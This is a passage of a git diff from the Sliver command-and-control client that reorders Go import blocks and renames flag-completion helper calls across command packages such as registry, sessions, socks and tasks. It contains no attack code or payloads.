"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" ) // Stylizes known processes in the `ps` command. diff --git a/client/command/processes/pstree.go b/client/command/processes/pstree.go index c8bb398ea9..6d06b07e2e 100644 --- a/client/command/processes/pstree.go +++ b/client/command/processes/pstree.go @@ -4,9 +4,10 @@ import ( "fmt" "sort" + "github.com/xlab/treeprint" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/xlab/treeprint" ) // A PsTree is a tree of *commonpb.Process. diff --git a/client/command/processes/terminate.go b/client/command/processes/terminate.go index f563cfc993..a12bbe21fe 100644 --- a/client/command/processes/terminate.go +++ b/client/command/processes/terminate.go @@ -22,11 +22,12 @@ import ( "context" "strconv" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // TerminateCmd - Terminate a process on the remote system. diff --git a/client/command/reaction/commands.go b/client/command/reaction/commands.go index b03e77e0b3..6857ba8750 100644 --- a/client/command/reaction/commands.go +++ b/client/command/reaction/commands.go @@ -23,6 +23,7 @@ import ( "github.com/spf13/cobra" "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" @@ -55,7 +56,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("event", "e", "", "specify the event type to react to") }) - flags.BindFlagCompletions(reactionSetCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(reactionSetCmd, func(comp *carapace.ActionMap) { (*comp)["event"] = carapace.ActionValues( consts.SessionOpenedEvent, consts.SessionClosedEvent, @@ -78,7 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { flags.Bind("reactions", false, reactionUnsetCmd, func(f *pflag.FlagSet) { f.IntP("id", "i", 0, "the id of the reaction to remove") }) - flags.BindFlagCompletions(reactionUnsetCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(reactionUnsetCmd, func(comp *carapace.ActionMap) { (*comp)["id"] = ReactionIDCompleter(con) }) diff --git a/client/command/reaction/helpers.go b/client/command/reaction/helpers.go index 85787b8d1d..097c68cb6e 100644 --- a/client/command/reaction/helpers.go +++ b/client/command/reaction/helpers.go @@ -26,10 +26,11 @@ import ( "strconv" "strings" + "github.com/rsteube/carapace" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" - "github.com/rsteube/carapace" ) const ( diff --git a/client/command/reaction/reaction.go b/client/command/reaction/reaction.go index 9caa2cf448..15046e7992 100644 --- a/client/command/reaction/reaction.go +++ b/client/command/reaction/reaction.go @@ -22,12 +22,13 @@ import ( "fmt" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // ReactionCmd - Manage reactions to events. diff --git a/client/command/reaction/reload.go b/client/command/reaction/reload.go index ff0d5553bc..806f4e38b0 100644 --- a/client/command/reaction/reload.go +++ b/client/command/reaction/reload.go @@ -22,8 +22,9 @@ import ( "os" "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/console" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" ) // ReactionSaveCmd - Manage reactions to events. diff --git a/client/command/reaction/save.go b/client/command/reaction/save.go index 79ed192ad9..f04bf73af6 100644 --- a/client/command/reaction/save.go +++ b/client/command/reaction/save.go @@ -23,9 +23,10 @@ import ( "os" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" - "github.com/spf13/cobra" ) // ReactionSaveCmd - Manage reactions to events. diff --git a/client/command/reaction/set.go b/client/command/reaction/set.go index cf74c44e5e..93ae3f3d21 100644 --- a/client/command/reaction/set.go +++ b/client/command/reaction/set.go @@ -23,9 +23,10 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" - "github.com/spf13/cobra" ) // ErrNonReactableEvent - Event does not exist or is not supported by reactions. diff --git a/client/command/reaction/unset.go b/client/command/reaction/unset.go index a95e7d5f27..e45dfae3cf 100644 --- a/client/command/reaction/unset.go +++ b/client/command/reaction/unset.go @@ -26,9 +26,10 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" - "github.com/spf13/cobra" ) // ReactionUnsetCmd - Unset a reaction upon an event. diff --git a/client/command/reconfig/commands.go b/client/command/reconfig/commands.go index cc5178fd5b..5022c9acf3 100644 --- a/client/command/reconfig/commands.go +++ b/client/command/reconfig/commands.go @@ -1,12 +1,13 @@ package reconfig import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/reconfig/reconfig.go b/client/command/reconfig/reconfig.go index d68195dc4b..27fdda3506 100644 --- a/client/command/reconfig/reconfig.go +++ b/client/command/reconfig/reconfig.go @@ -22,11 +22,12 @@ import ( "context" "time" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ReconfigCmd - Reconfigure metadata about a sessions. diff --git a/client/command/reconfig/rename.go b/client/command/reconfig/rename.go index 74f7d2ad8e..295349d589 100644 --- a/client/command/reconfig/rename.go +++ b/client/command/reconfig/rename.go @@ -21,10 +21,11 @@ package reconfig import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" ) // RecnameCmd - Reconfigure metadata about a sessions. diff --git a/client/command/registry/commands.go b/client/command/registry/commands.go index d93f3b32d1..fec21cf040 100644 --- a/client/command/registry/commands.go +++ b/client/command/registry/commands.go @@ -1,13 +1,14 @@ package registry import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/registry/reg-create.go b/client/command/registry/reg-create.go index d93f344d71..38e8fc81e1 100644 --- a/client/command/registry/reg-create.go +++ b/client/command/registry/reg-create.go @@ -22,11 +22,12 @@ import ( "context" "strings" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // RegCreateKeyCmd - Create a new Windows registry key. diff --git a/client/command/registry/reg-delete.go b/client/command/registry/reg-delete.go index e83396781a..9dec10e5a5 100644 --- a/client/command/registry/reg-delete.go +++ b/client/command/registry/reg-delete.go @@ -22,11 +22,12 @@ import ( "context" "strings" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // RegDeleteKeyCmd - Remove a Windows registry key. diff --git a/client/command/registry/reg-list.go b/client/command/registry/reg-list.go index f60f56fb17..dcbfd887aa 100644 --- a/client/command/registry/reg-list.go +++ b/client/command/registry/reg-list.go @@ -21,11 +21,12 @@ package registry import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // RegListSubKeysCmd - List sub registry keys. diff --git a/client/command/registry/reg-read.go b/client/command/registry/reg-read.go index a381937784..fe387952fe 100644 --- a/client/command/registry/reg-read.go +++ b/client/command/registry/reg-read.go @@ -23,11 +23,12 @@ import ( "fmt" "strings" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) var validHives = []string{ diff --git a/client/command/registry/reg-write.go b/client/command/registry/reg-write.go index 127fe5135c..63c391f22c 100644 --- a/client/command/registry/reg-write.go +++ b/client/command/registry/reg-write.go @@ -25,11 +25,12 @@ import ( "strconv" "strings" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32. diff --git a/client/command/rportfwd/commands.go b/client/command/rportfwd/commands.go index c213623cce..fbe3ae52ac 100644 --- a/client/command/rportfwd/commands.go +++ b/client/command/rportfwd/commands.go @@ -1,14 +1,15 @@ package rportfwd import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -40,7 +41,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("remote", "r", "", "remote address : connection is forwarded to") f.StringP("bind", "b", "", "bind address : for implants to listen on") }) - flags.BindFlagCompletions(rportfwdAddCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(rportfwdAddCmd, func(comp *carapace.ActionMap) { (*comp)["remote"] = completers.ClientInterfacesCompleter() }) @@ -53,7 +54,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { StopRportFwdListenerCmd(cmd, con, args) }, } - rmComps := flags.NewCompletions(rportfwdRmCmd) + rmComps := completers.NewCompsFor(rportfwdRmCmd) rmComps.PositionalAnyCompletion(PortfwdIDCompleter(con).Usage("ID of portforwarder(s) to remove")) rportfwdCmd.AddCommand(rportfwdRmCmd) diff --git a/client/command/rportfwd/portfwd-add.go b/client/command/rportfwd/portfwd-add.go index 94b96dfae3..7b92dacb30 100644 --- a/client/command/rportfwd/portfwd-add.go +++ b/client/command/rportfwd/portfwd-add.go @@ -23,9 +23,10 @@ import ( "fmt" "regexp" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") diff --git a/client/command/rportfwd/portfwd-rm.go b/client/command/rportfwd/portfwd-rm.go index db69d3d59b..917e46907f 100644 --- a/client/command/rportfwd/portfwd-rm.go +++ b/client/command/rportfwd/portfwd-rm.go @@ -22,9 +22,10 @@ import ( "context" "strconv" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 5adeea6120..8c0aa9e515 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -23,13 +23,14 @@ import ( "fmt" "strconv" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/jedib0t/go-pretty/v6/table" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/sliverpb" ) // StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. diff --git a/client/command/screenshot/commands.go b/client/command/screenshot/commands.go index 993cd8dcf7..d97b4e8725 100644 --- a/client/command/screenshot/commands.go +++ b/client/command/screenshot/commands.go @@ -1,13 +1,15 @@ package screenshot import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -28,7 +30,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(screenshotCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(screenshotCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles() }) diff --git a/client/command/screenshot/screenshot.go b/client/command/screenshot/screenshot.go index 4a5430292b..1cf8058b1b 100644 --- a/client/command/screenshot/screenshot.go +++ b/client/command/screenshot/screenshot.go @@ -26,13 +26,14 @@ import ( "path/filepath" "time" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ScreenshotCmd - Take a screenshot of the remote system. diff --git a/client/command/sessions/background.go b/client/command/sessions/background.go index bc2449578c..604dad328f 100644 --- a/client/command/sessions/background.go +++ b/client/command/sessions/background.go @@ -1,8 +1,9 @@ package sessions import ( - "github.com/bishopfox/sliver/client/console" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" ) // BackgroundCmd - Background the active session. diff --git a/client/command/sessions/close.go b/client/command/sessions/close.go index 28e666a9c5..20901a13ca 100644 --- a/client/command/sessions/close.go +++ b/client/command/sessions/close.go @@ -21,9 +21,10 @@ package sessions import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // CloseSessionCmd - Close an interactive session but do not kill the remote process. diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go index b802910564..23ad82f3f4 100644 --- a/client/command/sessions/commands.go +++ b/client/command/sessions/commands.go @@ -1,13 +1,15 @@ package sessions import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the `sessions` command and its subcommands. @@ -34,7 +36,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("filter", "f", "", "filter sessions by substring") f.StringP("filter-re", "e", "", "filter sessions by regular expression") }) - flags.BindFlagCompletions(sessionsCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(sessionsCmd, func(comp *carapace.ActionMap) { (*comp)["interact"] = SessionIDCompleter(con) (*comp)["kill"] = SessionIDCompleter(con) }) diff --git a/client/command/sessions/helpers.go b/client/command/sessions/helpers.go index f68c9c92af..cf0056c3ef 100644 --- a/client/command/sessions/helpers.go +++ b/client/command/sessions/helpers.go @@ -28,10 +28,11 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/rsteube/carapace" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/rsteube/carapace" ) var ( diff --git a/client/command/sessions/interactive.go b/client/command/sessions/interactive.go index b84f941c0a..9a4e0c554c 100644 --- a/client/command/sessions/interactive.go +++ b/client/command/sessions/interactive.go @@ -23,11 +23,12 @@ import ( "net/url" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // InteractiveCmd - Beacon only command to open an interactive session. diff --git a/client/command/sessions/prune.go b/client/command/sessions/prune.go index 48704761cc..4d446d4b93 100644 --- a/client/command/sessions/prune.go +++ b/client/command/sessions/prune.go @@ -21,10 +21,11 @@ package sessions import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // SessionsPruneCmd - Forcefully kill stale sessions. diff --git a/client/command/sessions/sessions.go b/client/command/sessions/sessions.go index 108f87bde8..ecafa7c927 100644 --- a/client/command/sessions/sessions.go +++ b/client/command/sessions/sessions.go @@ -25,14 +25,15 @@ import ( "strings" "time" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "golang.org/x/term" + "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "golang.org/x/term" ) // SessionsCmd - Display/interact with sessions. diff --git a/client/command/settings/beacons.go b/client/command/settings/beacons.go index 60ab8796f5..716cc85b36 100644 --- a/client/command/settings/beacons.go +++ b/client/command/settings/beacons.go @@ -19,9 +19,10 @@ package settings */ import ( + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" - "github.com/spf13/cobra" ) // SettingsBeaconsAutoResultCmd - The client settings command. diff --git a/client/command/settings/commands.go b/client/command/settings/commands.go index 3bba3d0eaf..f312a6ed84 100644 --- a/client/command/settings/commands.go +++ b/client/command/settings/commands.go @@ -1,11 +1,12 @@ package settings import ( + "github.com/reeflective/console/commands/readline" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/reeflective/console/commands/readline" - "github.com/spf13/cobra" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/settings/opsec.go b/client/command/settings/opsec.go index c9e1ec7a70..55c094ce10 100644 --- a/client/command/settings/opsec.go +++ b/client/command/settings/opsec.go @@ -20,9 +20,10 @@ package settings import ( "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" - "github.com/spf13/cobra" ) // SettingsAutoAdultCmd - The client settings command. diff --git a/client/command/settings/settings.go b/client/command/settings/settings.go index 621622a6fa..aac21fdd26 100644 --- a/client/command/settings/settings.go +++ b/client/command/settings/settings.go @@ -22,10 +22,11 @@ import ( "strconv" "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/console" "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/console" ) // SettingsCmd - The client settings command. diff --git a/client/command/settings/tables.go b/client/command/settings/tables.go index fe02c42424..40e6420134 100644 --- a/client/command/settings/tables.go +++ b/client/command/settings/tables.go @@ -24,11 +24,12 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/console" "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "golang.org/x/term" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/console" ) // Those variables are very important to realine low-level code: all virtual terminal diff --git a/client/command/shell/commands.go b/client/command/shell/commands.go index 242794ee8a..5b57d7441c 100644 --- a/client/command/shell/commands.go +++ b/client/command/shell/commands.go @@ -1,12 +1,13 @@ package shell import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/shell/shell.go b/client/command/shell/shell.go index 95c3b7786b..498cd4e7d9 100644 --- a/client/command/shell/shell.go +++ b/client/command/shell/shell.go @@ -25,12 +25,13 @@ import ( "log" "os" + "github.com/spf13/cobra" + "golang.org/x/term" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "golang.org/x/term" ) const ( diff --git a/client/command/shikata-ga-nai/commands.go b/client/command/shikata-ga-nai/commands.go index b73a4d25ce..a355b4603a 100644 --- a/client/command/shikata-ga-nai/commands.go +++ b/client/command/shikata-ga-nai/commands.go @@ -1,13 +1,15 @@ package sgn import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -29,7 +31,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)") f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(shikataGaNaiCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(shikataGaNaiCmd, func(comp *carapace.ActionMap) { (*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode") }) diff --git a/client/command/shikata-ga-nai/sgn.go b/client/command/shikata-ga-nai/sgn.go index 298d269d25..aea42ff526 100644 --- a/client/command/shikata-ga-nai/sgn.go +++ b/client/command/shikata-ga-nai/sgn.go @@ -24,9 +24,10 @@ import ( "io/ioutil" "path/filepath" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder. diff --git a/client/command/socks/commands.go b/client/command/socks/commands.go index 80975e5c70..2b9e48f550 100644 --- a/client/command/socks/commands.go +++ b/client/command/socks/commands.go @@ -1,14 +1,15 @@ package socks import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -41,7 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("port", "P", "1081", "Bind a Socks5 Port") f.StringP("user", "u", "", "socks5 auth username (will generate random password)") }) - flags.BindFlagCompletions(socksStartCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(socksStartCmd, func(comp *carapace.ActionMap) { (*comp)["host"] = completers.ClientInterfacesCompleter() }) @@ -55,7 +56,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { }, } - rmComps := flags.NewCompletions(socksStopCmd) + rmComps := completers.NewCompsFor(socksStopCmd) rmComps.PositionalAnyCompletion(SocksIDCompleter(con).Usage("ID of Socks server(s) to remove")) socksCmd.AddCommand(socksStopCmd) diff --git a/client/command/socks/socks-start.go b/client/command/socks/socks-start.go index 84f6f07aa0..d6d1108b8c 100644 --- a/client/command/socks/socks-start.go +++ b/client/command/socks/socks-start.go @@ -25,10 +25,11 @@ import ( "net" "time" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/core" "github.com/spf13/cobra" "gopkg.in/AlecAivazis/survey.v1" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" ) // SocksStartCmd - Add a new tunneled port forward. diff --git a/client/command/socks/socks-stop.go b/client/command/socks/socks-stop.go index f0f8d21d65..9911159d9d 100644 --- a/client/command/socks/socks-stop.go +++ b/client/command/socks/socks-stop.go @@ -22,10 +22,11 @@ import ( "context" "strconv" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // SocksStopCmd - Remove an existing tunneled port forward. diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index 8cb0ecfea4..3be9eb5d85 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -23,12 +23,13 @@ import ( "sort" "strconv" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/core" "github.com/jedib0t/go-pretty/v6/table" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" ) // SocksCmd - Display information about tunneled port forward(s). diff --git a/client/command/taskmany/taskmany.go b/client/command/taskmany/taskmany.go index 3424c486ed..0a123e648e 100644 --- a/client/command/taskmany/taskmany.go +++ b/client/command/taskmany/taskmany.go @@ -28,12 +28,13 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) func Command(con *console.SliverClient) []*cobra.Command { diff --git a/client/command/tasks/fetch.go b/client/command/tasks/fetch.go index 40be58c2a8..8ba50985cb 100644 --- a/client/command/tasks/fetch.go +++ b/client/command/tasks/fetch.go @@ -26,6 +26,11 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/environment" "github.com/bishopfox/sliver/client/command/exec" "github.com/bishopfox/sliver/client/command/extensions" @@ -40,10 +45,6 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" ) // TasksFetchCmd - Manage beacon tasks. diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index 04d8b88e61..eaf7e77bdf 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -10,9 +10,10 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/rsteube/carapace" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/rsteube/carapace" ) // SelectBeaconTask - Select a beacon task interactively. diff --git a/client/command/tasks/tasks-cancel.go b/client/command/tasks/tasks-cancel.go index c95fee327e..ef8610255b 100644 --- a/client/command/tasks/tasks-cancel.go +++ b/client/command/tasks/tasks-cancel.go @@ -3,9 +3,10 @@ package tasks import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // TasksCancelCmd - Cancel a beacon task before it's sent to the implant. diff --git a/client/command/tasks/tasks.go b/client/command/tasks/tasks.go index 91d9e1973f..6e0ac33f73 100644 --- a/client/command/tasks/tasks.go +++ b/client/command/tasks/tasks.go @@ -24,11 +24,12 @@ import ( "strings" "time" + 